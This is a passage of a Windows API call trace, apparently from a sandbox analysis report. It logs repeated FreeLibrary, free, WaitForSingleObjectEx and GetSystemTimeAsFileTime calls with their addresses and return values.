FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0204.749] free (_Block=0x20abc2867b0) [0204.749] free (_Block=0x20abc27cb20) [0204.749] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x35d03f29, dwHighDateTime=0x1d9eb0c)) [0204.758] free (_Block=0x20abc281c60) [0204.758] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0204.759] free (_Block=0x20abc2867b0) [0204.760] free (_Block=0x20abc27cf80) [0204.760] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x35fb2681, dwHighDateTime=0x1d9eb0c)) [0205.037] free (_Block=0x20abc281a00) [0205.038] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0205.038] free (_Block=0x20abc2867b0) [0205.039] free (_Block=0x20abc2a88c0) [0205.039] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.039] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x361ee885, dwHighDateTime=0x1d9eb0c)) [0205.275] free (_Block=0x20abc281ea0) [0205.275] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0205.275] free (_Block=0x20abc2867b0) [0205.276] free (_Block=0x20abc27cb20) [0205.276] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x361ee885, dwHighDateTime=0x1d9eb0c)) [0205.283] free (_Block=0x20abc281c60) [0205.284] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0205.284] free (_Block=0x20abc2867b0) [0205.285] free (_Block=0x20abc27cf80) [0205.285] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x362151ae, dwHighDateTime=0x1d9eb0c)) [0205.293] free (_Block=0x20abc2819a0) [0205.293] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0205.293] free (_Block=0x20abc2867b0) [0205.294] free (_Block=0x20abc27cb20) [0205.294] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3649d302, dwHighDateTime=0x1d9eb0c)) [0205.555] free (_Block=0x20abc281be0) [0205.555] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0205.556] free (_Block=0x20abc2867b0) [0205.557] free (_Block=0x20abc27cb20) [0205.557] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3649d302, dwHighDateTime=0x1d9eb0c)) [0205.569] free (_Block=0x20abc281f80) [0205.569] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0205.570] free (_Block=0x20abc2867b0) [0205.570] free (_Block=0x20abc27cb20) [0205.571] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x364c367f, dwHighDateTime=0x1d9eb0c)) [0205.576] free (_Block=0x20abc281d20) [0205.576] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0205.577] free (_Block=0x20abc2867b0) [0205.578] free (_Block=0x20abc27cf80) [0205.578] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x364e9987, dwHighDateTime=0x1d9eb0c)) [0205.585] free (_Block=0x20abc281b40) [0205.585] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0205.586] free (_Block=0x20abc2867b0) [0205.587] free (_Block=0x20abc27cb20) [0205.587] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x364e9987, dwHighDateTime=0x1d9eb0c)) [0205.592] free (_Block=0x20abc281a00) [0205.593] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0205.593] free (_Block=0x20abc2867b0) [0205.594] free (_Block=0x20abc27cb20) [0205.595] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x366b3534, dwHighDateTime=0x1d9eb0c)) [0205.777] free (_Block=0x20abc281c80) [0205.777] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0205.778] free (_Block=0x20abc2867b0) [0205.778] free (_Block=0x20abc27cb20) [0205.779] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x366da1a9, dwHighDateTime=0x1d9eb0c)) [0205.789] free (_Block=0x20abc281c20) [0205.789] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0205.790] free (_Block=0x20abc2867b0) [0205.791] free (_Block=0x20abc27cf80) [0205.791] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.803] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x366ff928, dwHighDateTime=0x1d9eb0c)) [0205.803] free (_Block=0x20abc282060) [0205.803] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0205.804] free (_Block=0x20abc2867b0) [0205.805] free (_Block=0x20abc2a8000) [0205.805] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.054] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.055] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x36b2bb8f, dwHighDateTime=0x1d9eb0c)) [0206.242] free (_Block=0x20abc281b20) [0206.243] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0206.243] free (_Block=0x20abc2867b0) [0206.244] free (_Block=0x20abc27cb20) [0206.244] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x36b2bb8f, dwHighDateTime=0x1d9eb0c)) [0206.251] free (_Block=0x20abc281fa0) [0206.251] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0206.251] free (_Block=0x20abc2867b0) [0206.252] free (_Block=0x20abc27cb20) [0206.252] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.293] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x36b9e17c, dwHighDateTime=0x1d9eb0c)) [0206.293] free (_Block=0x20abc281be0) [0206.293] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0206.294] free (_Block=0x20abc2867b0) [0206.295] free (_Block=0x20abc27cb20) [0206.295] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x36b9e17c, dwHighDateTime=0x1d9eb0c)) [0206.300] free (_Block=0x20abc281ac0) [0206.301] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0206.301] free (_Block=0x20abc2867b0) [0206.302] free (_Block=0x20abc27cb20) [0206.302] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x36bc44f7, dwHighDateTime=0x1d9eb0c)) [0206.311] free (_Block=0x20abc281a20) [0206.311] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0206.313] free (_Block=0x20abc2867b0) [0206.314] free (_Block=0x20abc27cb20) [0206.314] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x36f57c8f, dwHighDateTime=0x1d9eb0c)) [0206.679] free (_Block=0x20abc281c80) [0206.680] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0206.680] free (_Block=0x20abc2867b0) [0206.681] free (_Block=0x20abc27cf80) [0206.681] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.687] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x36f57c8f, dwHighDateTime=0x1d9eb0c)) [0206.687] free (_Block=0x20abc2820e0) [0206.687] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0206.688] free (_Block=0x20abc2867b0) [0206.688] free (_Block=0x20abc27cf80) [0206.689] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x36f7dede, dwHighDateTime=0x1d9eb0c)) [0206.694] free (_Block=0x20abc281ce0) [0206.695] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0206.695] free (_Block=0x20abc2867b0) [0206.696] free (_Block=0x20abc27cf80) [0206.696] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x36f7dede, dwHighDateTime=0x1d9eb0c)) [0206.703] free (_Block=0x20abc281fc0) [0206.703] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0206.704] free (_Block=0x20abc2867b0) [0206.704] free (_Block=0x20abc27cb20) [0206.704] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x36fa41b5, dwHighDateTime=0x1d9eb0c)) [0206.711] free (_Block=0x20abc281ee0) [0206.711] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0206.711] free (_Block=0x20abc2867b0) [0206.713] free (_Block=0x20abc27cf80) [0206.713] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3722ca93, dwHighDateTime=0x1d9eb0c)) [0206.979] free (_Block=0x20abc281fc0) [0206.979] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0206.979] free (_Block=0x20abc2867b0) [0206.980] free (_Block=0x20abc2a8000) [0206.980] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0207.272] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0207.273] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0207.273] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0207.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37501678, dwHighDateTime=0x1d9eb0c)) [0207.276] free (_Block=0x20abc281de0) [0207.276] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0207.277] free (_Block=0x20abc2867b0) [0207.277] free (_Block=0x20abc27cf80) [0207.278] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0207.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37501678, dwHighDateTime=0x1d9eb0c)) [0207.284] free (_Block=0x20abc281fe0) [0207.284] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0207.285] free (_Block=0x20abc2867b0) [0207.286] free (_Block=0x20abc27cf80) [0207.286] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0207.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3757465e, dwHighDateTime=0x1d9eb0c)) [0207.326] free (_Block=0x20abc282020) [0207.326] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0207.327] free (_Block=0x20abc2867b0) [0207.327] free (_Block=0x20abc27cb20) [0207.327] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0207.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3759b656, dwHighDateTime=0x1d9eb0c)) [0207.336] free (_Block=0x20abc281ea0) [0207.336] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0207.336] free (_Block=0x20abc2867b0) [0207.337] free (_Block=0x20abc27cb20) [0207.337] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0207.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x377def0d, dwHighDateTime=0x1d9eb0c)) [0207.577] free (_Block=0x20abc281dc0) [0207.577] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0207.577] free (_Block=0x20abc2867b0) [0207.578] free (_Block=0x20abc2a8190) [0207.578] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0207.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x377fc531, dwHighDateTime=0x1d9eb0c)) [0207.594] free (_Block=0x20abc281cc0) [0207.594] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0207.595] free (_Block=0x20abc2867b0) [0207.596] free (_Block=0x20abc27cf80) [0207.596] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0207.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37822c79, dwHighDateTime=0x1d9eb0c)) [0207.603] free (_Block=0x20abc281ac0) [0207.603] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0207.604] free (_Block=0x20abc2867b0) [0207.605] free (_Block=0x20abc27cb20) [0207.605] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0207.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37822c79, dwHighDateTime=0x1d9eb0c)) [0207.611] free (_Block=0x20abc281a00) [0207.611] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0207.612] free (_Block=0x20abc2867b0) [0207.613] free (_Block=0x20abc27cb20) [0207.613] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0207.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37a389bb, dwHighDateTime=0x1d9eb0c)) [0207.820] free (_Block=0x20abc281ea0) [0207.820] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0207.822] free (_Block=0x20abc2867b0) [0207.823] free (_Block=0x20abc27cf80) [0207.823] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0207.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37a6093e, dwHighDateTime=0x1d9eb0c)) [0207.838] free (_Block=0x20abc281b60) [0207.838] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0207.839] free (_Block=0x20abc2867b0) [0207.840] free (_Block=0x20abc27cf80) [0207.841] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0207.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37a6093e, dwHighDateTime=0x1d9eb0c)) [0207.848] free (_Block=0x20abc281e60) [0207.848] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0207.849] free (_Block=0x20abc2867b0) [0207.849] free (_Block=0x20abc27cf80) [0207.850] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0207.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37a8558c, dwHighDateTime=0x1d9eb0c)) [0207.858] free (_Block=0x20abc281ee0) [0207.858] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0207.859] free (_Block=0x20abc2867b0) [0207.860] free (_Block=0x20abc27cf80) [0207.860] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37c024d5, dwHighDateTime=0x1d9eb0c)) [0208.009] free (_Block=0x20abc281a00) [0208.009] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.010] free (_Block=0x20abc2867b0) [0208.011] free (_Block=0x20abc27cf80) [0208.011] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37c024d5, dwHighDateTime=0x1d9eb0c)) [0208.018] free (_Block=0x20abc281b60) [0208.018] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.019] free (_Block=0x20abc2867b0) [0208.020] free (_Block=0x20abc27cb20) [0208.020] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37c2e8f9, dwHighDateTime=0x1d9eb0c)) [0208.031] free (_Block=0x20abc281ac0) [0208.031] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.031] free (_Block=0x20abc2867b0) [0208.033] free (_Block=0x20abc27cf80) [0208.033] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37c4e9fc, dwHighDateTime=0x1d9eb0c)) [0208.042] free (_Block=0x20abc281b20) [0208.042] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.043] free (_Block=0x20abc2867b0) [0208.044] free (_Block=0x20abc27cb20) [0208.044] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37df2299, dwHighDateTime=0x1d9eb0c)) [0208.211] free (_Block=0x20abc2819c0) [0208.211] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.213] free (_Block=0x20abc2867b0) [0208.214] free (_Block=0x20abc27cb20) [0208.214] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.220] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37df2299, dwHighDateTime=0x1d9eb0c)) [0208.220] free (_Block=0x20abc281f60) [0208.220] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.221] free (_Block=0x20abc2867b0) [0208.222] free (_Block=0x20abc27cb20) [0208.222] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37e18617, dwHighDateTime=0x1d9eb0c)) [0208.230] free (_Block=0x20abc281fc0) [0208.230] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.231] free (_Block=0x20abc2867b0) [0208.232] free (_Block=0x20abc27cb20) [0208.232] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.237] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37e18617, dwHighDateTime=0x1d9eb0c)) [0208.237] free (_Block=0x20abc281e80) [0208.237] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.238] free (_Block=0x20abc2867b0) [0208.239] free (_Block=0x20abc27cf80) [0208.239] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37e3ea04, dwHighDateTime=0x1d9eb0c)) [0208.249] free (_Block=0x20abc281f60) [0208.249] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.250] free (_Block=0x20abc2867b0) [0208.251] free (_Block=0x20abc27cf80) [0208.251] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x37fe6a23, dwHighDateTime=0x1d9eb0c)) [0208.467] free (_Block=0x20abc281aa0) [0208.468] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.469] free (_Block=0x20abc2867b0) [0208.471] free (_Block=0x20abc27cb20) [0208.472] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38095285, dwHighDateTime=0x1d9eb0c)) [0208.486] free (_Block=0x20abc281ac0) [0208.486] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.487] free (_Block=0x20abc2867b0) [0208.488] free (_Block=0x20abc27cb20) [0208.488] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x380a7a10, dwHighDateTime=0x1d9eb0c)) [0208.497] free (_Block=0x20abc2819a0) [0208.497] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.498] free (_Block=0x20abc2867b0) [0208.499] free (_Block=0x20abc27cb20) [0208.499] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x380a7a10, dwHighDateTime=0x1d9eb0c)) [0208.506] free (_Block=0x20abc281ee0) [0208.506] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.507] free (_Block=0x20abc2867b0) [0208.508] free (_Block=0x20abc27cf80) [0208.508] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x380ce014, dwHighDateTime=0x1d9eb0c)) [0208.513] free (_Block=0x20abc281f00) [0208.513] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.514] free (_Block=0x20abc2867b0) [0208.515] free (_Block=0x20abc27cb20) [0208.515] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38225409, dwHighDateTime=0x1d9eb0c)) [0208.651] free (_Block=0x20abc281ac0) [0208.651] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.651] free (_Block=0x20abc2867b0) [0208.652] free (_Block=0x20abc27cf80) [0208.652] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38225409, dwHighDateTime=0x1d9eb0c)) [0208.659] free (_Block=0x20abc281e00) [0208.659] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.660] free (_Block=0x20abc2867b0) [0208.661] free (_Block=0x20abc27cb20) [0208.661] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3824b913, 